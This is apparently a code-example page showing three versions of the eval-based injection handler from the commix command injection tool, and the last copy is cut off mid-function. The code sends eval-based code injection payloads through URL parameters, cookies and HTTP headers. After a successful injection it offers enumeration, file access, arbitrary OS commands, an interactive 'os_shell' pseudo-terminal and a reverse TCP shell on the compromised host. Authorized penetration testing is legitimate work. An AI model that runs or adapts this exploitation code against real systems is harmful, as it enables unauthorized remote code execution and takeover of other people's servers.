Example #1
0
def eb_injection_handler(url, delay, filename, http_request_method):

  counter = 1
  vp_flag = True
  no_result = True
  export_injection_info = False
  injection_type = "Results-based Command Injection"
  technique = "eval-based code injection technique"

  for item in range(0, len(settings.EXECUTION_FUNCTIONS)):
    settings.EXECUTION_FUNCTIONS[item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "("
  settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS

  url = eb_injector.warning_detection(url, http_request_method)
  
  if not settings.LOAD_SESSION:
    info_msg = "Testing the " + technique + "... "
    sys.stdout.write(settings.print_info_msg(info_msg))
    sys.stdout.flush()

  i = 0
  # Calculate all possible combinations
  total = len(settings.WHITESPACE) * len(settings.EVAL_PREFIXES) * len(settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES)
  for whitespace in settings.WHITESPACE:
    for prefix in settings.EVAL_PREFIXES:
      for suffix in settings.EVAL_SUFFIXES:
        for separator in settings.EVAL_SEPARATORS:

          # If a previous session is available.
          if settings.LOAD_SESSION and session_handler.notification(url, technique):
            url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
            checks.check_for_stored_tamper(payload)
            
          if settings.RETEST == True:
            settings.RETEST = False
            from src.core.injections.results_based.techniques.classic import cb_handler
            cb_handler.exploitation(url, delay, filename, http_request_method)
            
          if not settings.LOAD_SESSION:
            i = i + 1
            # Check for bad combination of prefix and separator
            combination = prefix + separator
            if combination in settings.JUNK_COMBINATION:
              prefix = ""

            # Change TAG on every request to prevent false-positive results.
            TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))

            randv1 = random.randrange(100)
            randv2 = random.randrange(100)
            randvcalc = randv1 + randv2

            # Define alter shell
            alter_shell = menu.options.alter_shell

            try:
              if alter_shell:
                # Classic -alter shell- decision payload (check if host is vulnerable).
                payload = eb_payloads.decision_alter_shell(separator, TAG, randv1, randv2)
              else:
                # Classic decision payload (check if host is vulnerable).
                payload = eb_payloads.decision(separator, TAG, randv1, randv2)

              suffix = urllib.quote(suffix)
              # Fix prefixes / suffixes
              payload = parameters.prefixes(payload, prefix)
              payload = parameters.suffixes(payload, suffix)

              # Fixation for specific payload.
              if ")%3B" + urllib.quote(")}") in payload:
                payload = payload.replace(")%3B" + urllib.quote(")}"), ")" + urllib.quote(")}"))
              payload = payload +  TAG + ""

              # Whitespace fixation
              payload = re.sub(" ", whitespace, payload)

              if settings.TAMPER_SCRIPTS['base64encode']:
                from src.core.tamper import base64encode
                payload = base64encode.encode(payload)
              else:
                payload = re.sub(" ", "%20", payload)

              # Check if defined "--verbose" option.
              if settings.VERBOSITY_LEVEL >= 1:
                sys.stdout.write("\n" + settings.print_payload(payload))

              # Cookie Injection
              if settings.COOKIE_INJECTION == True:
                # Check if target host is vulnerable to cookie injection.
                vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
                response = eb_injector.cookie_injection_test(url, vuln_parameter, payload)

              # User-Agent Injection
              elif settings.USER_AGENT_INJECTION == True:
                # Check if target host is vulnerable to user-agent injection.
                vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
                response = eb_injector.user_agent_injection_test(url, vuln_parameter, payload)

              # Referer Injection
              elif settings.REFERER_INJECTION == True:
                # Check if target host is vulnerable to referer injection.
                vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
                response = eb_injector.referer_injection_test(url, vuln_parameter, payload)

              # Custom HTTP header Injection
              elif settings.CUSTOM_HEADER_INJECTION == True:
                # Check if target host is vulnerable to custom http header injection.
                vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
                response = eb_injector.custom_header_injection_test(url, vuln_parameter, payload)

              else:
                found_cookie_injection = False
                # Check if target host is vulnerable.
                response, vuln_parameter = eb_injector.injection_test(payload, http_request_method, url)
      
              # if need page reload
              if menu.options.url_reload: 
                time.sleep(delay)
                response = urllib.urlopen(url)
                
              # Evaluate test results.
              shell = eb_injector.injection_test_results(response, TAG, randvcalc)

              if not settings.VERBOSITY_LEVEL >= 1:
                percent = ((i*100)/total)
                float_percent = "{0:.1f}".format(round(((i*100)/(total * 1.0)),2))

                if shell == False:
                  info_msg = "Testing the " + technique + "... " +  "[ " + float_percent + "%" + " ]"
                  sys.stdout.write("\r" + settings.print_info_msg(info_msg))  
                  sys.stdout.flush()

                if str(float_percent) == "100.0":
                  if no_result == True:
                    percent = Fore.RED + "FAILED" + Style.RESET_ALL
                  else:
                    percent = str(float_percent)+ "%"
                elif len(shell) != 0:
                  percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                else:
                  percent = str(float_percent)+ "%"

                info_msg = "Testing the " + technique + "... " +  "[ " + percent + " ]"
                sys.stdout.write("\r" + settings.print_info_msg(info_msg))  
                sys.stdout.flush()
                
            except KeyboardInterrupt: 
              raise

            except SystemExit: 
              raise

            except:
              continue
          
          # Yaw, got shellz! 
          # Do some magic tricks!
          if shell:
            found = True
            no_result = False

            if settings.COOKIE_INJECTION == True: 
              header_name = " cookie"
              found_vuln_parameter = vuln_parameter
              the_type = " parameter"

            elif settings.USER_AGENT_INJECTION == True: 
              header_name = " User-Agent"
              found_vuln_parameter = ""
              the_type = " HTTP header"
              
            elif settings.REFERER_INJECTION == True: 
              header_name = " Referer"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.CUSTOM_HEADER_INJECTION == True: 
              header_name = " " + settings.CUSTOM_HEADER_NAME
              found_vuln_parameter = ""
              the_type = " HTTP header"

            else:    
              header_name = ""
              the_type = " parameter"
              if http_request_method == "GET":
                found_vuln_parameter = parameters.vuln_GET_param(url)
              else :
                found_vuln_parameter = vuln_parameter

            if len(found_vuln_parameter) != 0 :
              found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL  + Style.BRIGHT + "'"

            # Print the findings to log file.
            if export_injection_info == False:
              export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
            if vp_flag == True:
              vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
            logs.update_payload(filename, counter, payload) 
            counter = counter + 1

            if not settings.LOAD_SESSION:
              print ""

            # Print the findings to terminal.
            success_msg = "The (" + http_request_method + ")" 
            success_msg += found_vuln_parameter + header_name
            success_msg += the_type + " is vulnerable to " + injection_type + "."
            print settings.print_success_msg(success_msg)
            print "  (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
            print "  (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + ""
            print "  (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub("%20", " ", payload) + Style.RESET_ALL

            # Export session
            if not settings.LOAD_SESSION:
              session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, delay=0, how_long=0, output_length=0, is_vulnerable="True")
            else:
              whitespace = settings.WHITESPACE[0]
              settings.LOAD_SESSION = False 
              
            # Check for any enumeration options.
            if settings.ENUMERATION_DONE == True :
              while True:
                question_msg = "Do you want to enumerate again? [Y/n/q] > "
                enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower()
                if enumerate_again in settings.CHOICE_YES:
                  eb_enumeration.do_check(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
                  print ""
                  break
                elif enumerate_again in settings.CHOICE_NO: 
                  break
                elif enumerate_again in settings.CHOICE_QUIT:
                  sys.exit(0)
                else:
                  if enumerate_again == "":
                    enumerate_again = "enter"
                  err_msg = "'" + enumerate_again + "' is not a valid answer."
                  print settings.print_error_msg(err_msg) + "\n"
                  pass

            else:
              if menu.enumeration_options():
                eb_enumeration.do_check(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
            
            if not menu.file_access_options() and not menu.options.os_cmd:
              print ""

            # Check for any system file access options.
            if settings.FILE_ACCESS_DONE == True :
              if settings.ENUMERATION_DONE != True:
                print ""
              while True:
                question_msg = "Do you want to access files again? [Y/n/q] > "
                file_access_again = raw_input(settings.print_question_msg(question_msg)).lower()
                if file_access_again in settings.CHOICE_YES:
                  eb_file_access.do_check(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
                  print ""
                  break
                elif file_access_again in settings.CHOICE_NO: 
                  break
                elif file_access_again in settings.CHOICE_QUIT:
                  sys.exit(0)
                else:
                  if file_access_again  == "":
                    file_access_again  = "enter"
                  err_msg = "'" + file_access_again  + "' is not a valid answer."
                  print settings.print_error_msg(err_msg) + "\n"
                  pass
            else:
              if menu.file_access_options():
                if not menu.enumeration_options():
                  print ""
                eb_file_access.do_check(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)
                print ""

            # Check if defined single cmd.
            if menu.options.os_cmd:
              if not menu.file_access_options():
                print ""
              eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename)

            # Pseudo-Terminal shell
            go_back = False
            go_back_again = False
            while True:
              if go_back == True:
                break
              question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > "  
              gotshell = raw_input(settings.print_question_msg(question_msg)).lower()
              if gotshell in settings.CHOICE_YES:
                print ""
                print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                if readline_error:
                  checks.no_readline_module()
                while True:
                  try:
                    # Tab compliter
                    if not readline_error:
                      readline.set_completer(menu.tab_completer)
                      # MacOSX tab compliter
                      if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
                        readline.parse_and_bind("bind ^I rl_complete")
                      # Unix tab compliter
                      else:
                        readline.parse_and_bind("tab: complete")
                    cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
                    cmd = checks.escaped_cmd(cmd)
                    if cmd.lower() in settings.SHELL_OPTIONS:
                      os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) 
                      if os_shell_option == False:
                        if no_result == True:
                          return False
                        else:
                          return True 
                      elif os_shell_option == "quit":                    
                        sys.exit(0)
                      elif os_shell_option == "back":
                        go_back = True
                        break
                      elif os_shell_option == "os_shell": 
                        warn_msg = "You are already into an 'os_shell' mode." 
                        print settings.print_warning_msg(warn_msg)+ "\n"
                      elif os_shell_option == "reverse_tcp":
                        settings.REVERSE_TCP = True
                        # Set up LHOST / LPORT for The reverse TCP connection.
                        reverse_tcp.configure_reverse_tcp()
                        if settings.REVERSE_TCP == False:
                          continue
                        while True:
                          if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:
                            result = checks.check_reverse_tcp_options(settings.LHOST)
                          else:  
                            cmd = reverse_tcp.reverse_tcp_options()
                            result = checks.check_reverse_tcp_options(cmd)
                          if result != None:
                            if result == 0:
                              return False
                            elif result == 1 or result == 2:
                              go_back_again = True
                              settings.REVERSE_TCP = False
                              break
                          # Command execution results.
                          response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
                          # Evaluate injection results.
                          shell = eb_injector.injection_results(response, TAG, cmd)
                          if settings.VERBOSITY_LEVEL >= 1:
                            print ""
                          err_msg = "The reverse TCP connection has been failed!"
                          print settings.print_critical_msg(err_msg)
                      else:
                        pass
                        
                    else:
                      # The main command injection exploitation.
                      response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
                            
                      # if need page reload
                      if menu.options.url_reload:
                        time.sleep(delay)
                        response = urllib.urlopen(url)
                      if menu.options.ignore_session or\
                         session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                        # Evaluate injection results.
                        shell = eb_injector.injection_results(response, TAG, cmd)
                        shell = "".join(str(p) for p in shell).replace(" ", "", 1)
                        if not menu.options.ignore_session :
                          session_handler.store_cmd(url, cmd, shell, vuln_parameter)
                      else:
                        shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
                      
                      #if shell:
                      if shell != "":
                        shell = "".join(str(p) for p in shell)
                        print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
                      else:
                        err_msg = "The '" + cmd + "' command, does not return any output."
                        print "\n" + settings.print_error_msg(err_msg) + "\n"
                    
                  except KeyboardInterrupt: 
                    raise

                  except SystemExit: 
                    raise

              elif gotshell in settings.CHOICE_NO:
                if checks.next_attack_vector(technique, go_back) == True:
                  break
                else:
                  if no_result == True:
                    return False 
                  else:
                    return True  

              elif gotshell in settings.CHOICE_QUIT:
                sys.exit(0)

              else:
                if gotshell == "":
                  gotshell = "enter"
                err_msg = "'" + gotshell + "' is not a valid answer."  
                print settings.print_error_msg(err_msg) + "\n"
                pass
              
              
  if no_result == True:
    print ""
    return False

  else :
    sys.stdout.write("\r")
    sys.stdout.flush()
Example #2
0
def eb_injection_handler(url, timesec, filename, http_request_method):
  shell = False
  counter = 1
  vp_flag = True
  no_result = True
  export_injection_info = False
  injection_type = "results-based dynamic code evaluation"
  technique = "dynamic code evaluation technique"

  for item in range(0, len(settings.EXECUTION_FUNCTIONS)):
    settings.EXECUTION_FUNCTIONS[item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "("
  settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS

  if not settings.LOAD_SESSION:
    url = eb_injector.warning_detection(url, http_request_method)
    info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... "
    sys.stdout.write(settings.print_info_msg(info_msg))
    sys.stdout.flush()
    if settings.VERBOSITY_LEVEL >= 1:
      print("")
          
  i = 0
  # Calculate all possible combinations
  total = len(settings.WHITESPACE) * len(settings.EVAL_PREFIXES) * len(settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES)
  for whitespace in settings.WHITESPACE:
    for prefix in settings.EVAL_PREFIXES:
      for suffix in settings.EVAL_SUFFIXES:
        for separator in settings.EVAL_SEPARATORS:
          if whitespace == " ":
            whitespace = _urllib.parse.quote(whitespace) 
          # Check injection state
          settings.DETECTION_PHASE = True
          settings.EXPLOITATION_PHASE = False
          # If a previous session is available.
          if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type):
            try:
              settings.EVAL_BASED_STATE = True
              url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
              checks.check_for_stored_tamper(payload)
            except TypeError:
              err_msg = "An error occurred while accessing session file ('"
              err_msg += settings.SESSION_FILE + "'). "
              err_msg += "Use the '--flush-session' option."
              print(settings.print_critical_msg(err_msg))
              raise SystemExit()

          if settings.RETEST == True:
            settings.RETEST = False
            from src.core.injections.results_based.techniques.classic import cb_handler
            cb_handler.exploitation(url, timesec, filename, http_request_method)
            
          if not settings.LOAD_SESSION:
            i = i + 1
            # Check for bad combination of prefix and separator
            combination = prefix + separator
            if combination in settings.JUNK_COMBINATION:
              prefix = ""

            # Change TAG on every request to prevent false-positive results.
            TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))

            randv1 = random.randrange(100)
            randv2 = random.randrange(100)
            randvcalc = randv1 + randv2

            # Define alter shell
            alter_shell = menu.options.alter_shell

            try:
              if alter_shell:
                # Classic -alter shell- decision payload (check if host is vulnerable).
                payload = eb_payloads.decision_alter_shell(separator, TAG, randv1, randv2)
              else:
                # Classic decision payload (check if host is vulnerable).
                payload = eb_payloads.decision(separator, TAG, randv1, randv2)

              suffix = _urllib.parse.quote(suffix)
              # Fix prefixes / suffixes
              payload = parameters.prefixes(payload, prefix)
              payload = parameters.suffixes(payload, suffix)

              # Fixation for specific payload.
              if ")%3B" + _urllib.parse.quote(")}") in payload:
                payload = payload.replace(")%3B" + _urllib.parse.quote(")}"), ")" + _urllib.parse.quote(")}"))
                #payload = payload + TAG + ""

              # Whitespace fixation
              payload = payload.replace(" ", whitespace)
              
              # Perform payload modification
              payload = checks.perform_payload_modification(payload)

              if not settings.TAMPER_SCRIPTS['base64encode'] and \
                   not settings.TAMPER_SCRIPTS['hexencode']:
                payload = payload.replace(" ", "%20")

              # Check if defined "--verbose" option.
              if settings.VERBOSITY_LEVEL == 1:
                print(settings.print_payload(payload))
              elif settings.VERBOSITY_LEVEL > 1:
                info_msg = "Generating payload for the injection..."
                print(settings.print_info_msg(info_msg))
                print(settings.print_payload(payload)) 

              # Cookie header injection
              if settings.COOKIE_INJECTION == True:
                # Check if target host is vulnerable to cookie header injection.
                vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
                response = eb_injector.cookie_injection_test(url, vuln_parameter, payload)

              # User-Agent HTTP header injection
              elif settings.USER_AGENT_INJECTION == True:
                # Check if target host is vulnerable to user-agent HTTP header injection.
                vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
                response = eb_injector.user_agent_injection_test(url, vuln_parameter, payload)

              # Referer HTTP header injection
              elif settings.REFERER_INJECTION == True:
                # Check if target host is vulnerable to referer HTTP header injection.
                vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
                response = eb_injector.referer_injection_test(url, vuln_parameter, payload)

              # Host HTTP header injection
              elif settings.HOST_INJECTION == True:
                # Check if target host is vulnerable to host HTTP header injection.
                vuln_parameter = parameters.specify_host_parameter(menu.options.host)
                response = eb_injector.host_injection_test(url, vuln_parameter, payload)

              # Custom HTTP header injection
              elif settings.CUSTOM_HEADER_INJECTION == True:
                # Check if target host is vulnerable to custom HTTP header injection.
                vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
                response = eb_injector.custom_header_injection_test(url, vuln_parameter, payload)

              else:
                found_cookie_injection = False
                # Check if target host is vulnerable.
                response, vuln_parameter = eb_injector.injection_test(payload, http_request_method, url)
      
              # Try target page reload (if it is required).
              if settings.URL_RELOAD:
                response = requests.url_reload(url, timesec)
              # Evaluate test results.
              shell = eb_injector.injection_test_results(response, TAG, randvcalc)
              time.sleep(timesec)

              if not settings.VERBOSITY_LEVEL >= 1:
                percent = ((i*100)/total)
                float_percent = "{0:.1f}".format(round(((i*100)/(total * 1.0)),2))

                if shell == False:
                  info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " +  "[ " + float_percent + "%" + " ]"
                  sys.stdout.write("\r" + settings.print_info_msg(info_msg))  
                  sys.stdout.flush()

                if str(float_percent) == "100.0":
                  if no_result == True:
                    percent = Fore.RED + "FAILED" + Style.RESET_ALL
                  else:
                    percent = str(float_percent)+ "%"
                elif len(shell) != 0:
                  percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                else:
                  percent = str(float_percent)+ "%"

                info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " +  "[ " + percent + " ]"
                sys.stdout.write("\r" + settings.print_info_msg(info_msg))  
                sys.stdout.flush()
                
            except KeyboardInterrupt: 
              raise

            except SystemExit: 
              raise
              
            except EOFError:
              err_msg = "Exiting, due to EOFError."
              print(settings.print_error_msg(err_msg))
              raise

            except:
              continue
          
          # Yaw, got shellz! 
          # Do some magic tricks!
          if shell:
            found = True
            no_result = False
            # Check injection state
            settings.DETECTION_PHASE = False
            settings.EXPLOITATION_PHASE = True
            if settings.COOKIE_INJECTION == True: 
              header_name = " cookie"
              found_vuln_parameter = vuln_parameter
              the_type = " parameter"

            elif settings.USER_AGENT_INJECTION == True: 
              header_name = " User-Agent"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.REFERER_INJECTION == True: 
              header_name = " Referer"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.HOST_INJECTION == True: 
              header_name = " Host"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.CUSTOM_HEADER_INJECTION == True: 
              header_name = " " + settings.CUSTOM_HEADER_NAME
              found_vuln_parameter = ""
              the_type = " HTTP header"

            else:    
              header_name = ""
              the_type = " parameter"
              if http_request_method == "GET":
                found_vuln_parameter = parameters.vuln_GET_param(url)
              else :
                found_vuln_parameter = vuln_parameter

            if len(found_vuln_parameter) != 0 :
              found_vuln_parameter = " '" +  found_vuln_parameter + Style.RESET_ALL  + Style.BRIGHT + "'"

            # Print the findings to log file.
            if export_injection_info == False:
              export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
            if vp_flag == True:
              vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
            logs.update_payload(filename, counter, payload) 
            counter = counter + 1

            if not settings.LOAD_SESSION:
              if not settings.VERBOSITY_LEVEL >= 1:
                print("")
              else:
                checks.total_of_requests()

            # Print the findings to terminal.
            success_msg = "The"
            if len(found_vuln_parameter) > 0 and not "cookie" in header_name : 
              success_msg += " " + http_request_method 
            success_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name
            success_msg += found_vuln_parameter + " seems injectable via "
            success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
            print(settings.print_success_msg(success_msg))
            print(settings.SUB_CONTENT_SIGN  + str(checks.url_decode(payload)) + Style.RESET_ALL)
            # Export session
            if not settings.LOAD_SESSION:
              session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level)
            else:
              whitespace = settings.WHITESPACE[0]
              settings.LOAD_SESSION = False 
              
            # Check for any enumeration options.
            new_line = True
            if settings.ENUMERATION_DONE == True :
              while True:
                if not menu.options.batch:
                  question_msg = "Do you want to enumerate again? [Y/n] > "
                  enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower()
                else:
                  enumerate_again = ""  
                if len(enumerate_again) == 0:
                  enumerate_again = "y"
                if enumerate_again in settings.CHOICE_YES:
                  eb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
                  # print("")
                  break
                elif enumerate_again in settings.CHOICE_NO:
                  new_line = False
                  break
                elif enumerate_again in settings.CHOICE_QUIT:
                  raise SystemExit()
                else:
                  err_msg = "'" + enumerate_again + "' is not a valid answer."
                  print(settings.print_error_msg(err_msg))
                  pass
            else:
              if menu.enumeration_options():
                eb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
            
            if not menu.file_access_options() and not menu.options.os_cmd and new_line:
              print("")

            # Check for any system file access options.
            if settings.FILE_ACCESS_DONE == True :
              if settings.ENUMERATION_DONE != True:
                print("")
              while True:
                if not menu.options.batch:
                  question_msg = "Do you want to access files again? [Y/n] > "
                  file_access_again = _input(settings.print_question_msg(question_msg))
                else:
                  file_access_again = ""
                if len(file_access_again) == 0:
                   file_access_again = "y"
                if file_access_again in settings.CHOICE_YES:
                  eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
                  print("")
                  break
                elif file_access_again in settings.CHOICE_NO: 
                  break
                elif file_access_again in settings.CHOICE_QUIT:
                  raise SystemExit()
                else:
                  err_msg = "'" + file_access_again  + "' is not a valid answer."
                  print(settings.print_error_msg(err_msg))
                  pass
            else:
              if menu.file_access_options():
                # if not menu.enumeration_options():
                #   print("")
                eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
                print("")

            # Check if defined single cmd.
            if menu.options.os_cmd:
              # if not menu.file_access_options():
              #   print("")
              eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)

            # Pseudo-Terminal shell
            go_back = False
            go_back_again = False
            while True:
              if go_back == True:
                break
              if not menu.options.batch:
                question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
                gotshell = _input(settings.print_question_msg(question_msg))
              else:
                gotshell = ""
              if len(gotshell) == 0:
                 gotshell = "y"
              if gotshell in settings.CHOICE_YES:
                if not menu.options.batch:
                  print("")
                print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)")
                if readline_error:
                  checks.no_readline_module()
                while True:
                  try:
                    # Tab compliter
                    if not readline_error:
                      readline.set_completer(menu.tab_completer)
                      # MacOSX tab compliter
                      if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
                        readline.parse_and_bind("bind ^I rl_complete")
                      # Unix tab compliter
                      else:
                        readline.parse_and_bind("tab: complete")
                    cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
                    cmd = checks.escaped_cmd(cmd)
                    if cmd.lower() in settings.SHELL_OPTIONS:
                      go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="")
                      if go_back and go_back_again == False:
                        break
                      if go_back and go_back_again:
                        return True 
                    else:
                      # The main command injection exploitation.
                      time.sleep(timesec)
                      response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
                      # Try target page reload (if it is required).
                      if settings.URL_RELOAD:
                        response = requests.url_reload(url, timesec)
                      if menu.options.ignore_session or\
                         session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                        # Evaluate injection results.
                        shell = eb_injector.injection_results(response, TAG, cmd)
                        shell = "".join(str(p) for p in shell).replace(" ", "", 1)
                        if not menu.options.ignore_session :
                          session_handler.store_cmd(url, cmd, shell, vuln_parameter)
                      else:
                        shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)

                      if shell != "":
                        shell = "".join(str(p) for p in shell)
                        # Update logs with executed cmds and execution results.
                        logs.executed_command(filename, cmd, shell)
                        print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n")
                      else:
                        if settings.VERBOSITY_LEVEL >= 1:
                          print("")
                        err_msg = "The '" + cmd + "' command, does not return any output."
                        print(settings.print_critical_msg(err_msg) + "\n")
                    
                  except KeyboardInterrupt: 
                    raise

                  except SystemExit: 
                    raise
                    
                  except EOFError:
                    err_msg = "Exiting, due to EOFError."
                    print(settings.print_error_msg(err_msg))
                    raise

              elif gotshell in settings.CHOICE_NO:
                if checks.next_attack_vector(technique, go_back) == True:
                  break
                else:
                  if no_result == True:
                    return False 
                  else:
                    return True  

              elif gotshell in settings.CHOICE_QUIT:
                raise SystemExit()

              else:
                err_msg = "'" + gotshell + "' is not a valid answer."  
                print(settings.print_error_msg(err_msg))
                pass
              
              
  if no_result == True:
    if settings.VERBOSITY_LEVEL == 0:
      print("")
    return False
  else :
    sys.stdout.write("\r")
    sys.stdout.flush()
Example #3
0
def eb_injection_handler(url, delay, filename, http_request_method):

    counter = 1
    vp_flag = True
    no_result = True
    export_injection_info = False
    injection_type = "results-based command injection"
    technique = "eval-based code injection technique"

    for item in range(0, len(settings.EXECUTION_FUNCTIONS)):
        settings.EXECUTION_FUNCTIONS[
            item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "("
    settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS

    url = eb_injector.warning_detection(url, http_request_method)

    if not settings.LOAD_SESSION:
        info_msg = "Testing the " + technique + "... "
        sys.stdout.write(settings.print_info_msg(info_msg))
        sys.stdout.flush()

    i = 0
    # Calculate all possible combinations
    total = len(settings.WHITESPACE) * len(settings.EVAL_PREFIXES) * len(
        settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES)
    for whitespace in settings.WHITESPACE:
        for prefix in settings.EVAL_PREFIXES:
            for suffix in settings.EVAL_SUFFIXES:
                for separator in settings.EVAL_SEPARATORS:

                    # If a previous session is available.
                    if settings.LOAD_SESSION and session_handler.notification(
                            url, technique):
                        url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(
                            url, http_request_method)
                        checks.check_for_stored_tamper(payload)

                    if settings.RETEST == True:
                        settings.RETEST = False
                        from src.core.injections.results_based.techniques.classic import cb_handler
                        cb_handler.exploitation(url, delay, filename,
                                                http_request_method)

                    if not settings.LOAD_SESSION:
                        i = i + 1
                        # Check for bad combination of prefix and separator
                        combination = prefix + separator
                        if combination in settings.JUNK_COMBINATION:
                            prefix = ""

                        # Change TAG on every request to prevent false-positive results.
                        TAG = ''.join(
                            random.choice(string.ascii_uppercase)
                            for i in range(6))

                        randv1 = random.randrange(100)
                        randv2 = random.randrange(100)
                        randvcalc = randv1 + randv2

                        # Define alter shell
                        alter_shell = menu.options.alter_shell

                        try:
                            if alter_shell:
                                # Classic -alter shell- decision payload (check if host is vulnerable).
                                payload = eb_payloads.decision_alter_shell(
                                    separator, TAG, randv1, randv2)
                            else:
                                # Classic decision payload (check if host is vulnerable).
                                payload = eb_payloads.decision(
                                    separator, TAG, randv1, randv2)

                            suffix = urllib.quote(suffix)
                            # Fix prefixes / suffixes
                            payload = parameters.prefixes(payload, prefix)
                            payload = parameters.suffixes(payload, suffix)

                            # Fixation for specific payload.
                            if ")%3B" + urllib.quote(")}") in payload:
                                payload = payload.replace(
                                    ")%3B" + urllib.quote(")}"),
                                    ")" + urllib.quote(")}"))
